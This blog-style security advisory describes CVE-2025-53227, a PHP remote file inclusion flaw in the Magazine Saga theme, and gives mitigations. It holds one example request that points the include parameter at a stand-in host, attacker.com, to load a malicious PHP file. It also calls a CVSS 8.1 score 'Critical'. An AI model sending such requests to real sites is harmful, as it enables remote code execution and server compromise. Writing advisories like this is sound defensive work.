Overview
The vulnerability CVE-2025-53227 is a critical PHP Remote File Inclusion issue found in Unfoldwp Magazine Saga. This vulnerability can potentially allow an attacker to include a remote file from an external server, leading to the execution of arbitrary code, system compromise, and potential data leakage. This blog post will discuss the severity, impact, and mitigation strategies for this vulnerability. As Magazine Saga is widely used, understanding and addressing this vulnerability is paramount for anyone running this software.
Vulnerability Summary
CVE ID: CVE-2025-53227
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Unfoldwp Magazine Saga | n/a through 1.2.7
How the Exploit Works
This vulnerability works through an improper control of the filename for Include/Require statement in PHP code. The issue allows an attacker to include a PHP file from a remote server. This can be done by manipulating the input used in the Include/Require statement to point to a malicious PHP script hosted on a remote server. Once the application includes this file, the malicious script will be run, leading to the potential for system compromise.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-site.comIn this example, the attacker is attempting to include ‘malicious_file.php’ hosted on ‘attacker.com’. If the system is vulnerable, this malicious file will be included and executed on the server side.
Recommended Mitigation Strategies
To mitigate this vulnerability, the primary recommendation is to apply the vendor-provided patch. In the absence of such a patch, or until such a patch can be applied, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by identifying and blocking attempts to exploit this vulnerability.
Furthermore, developers should ensure that user-supplied data is not used directly in Include/Require statements, and instead use a whitelist of allowed values. Regular code reviews and the use of static code analysis tools can also help in identifying and fixing such vulnerabilities.
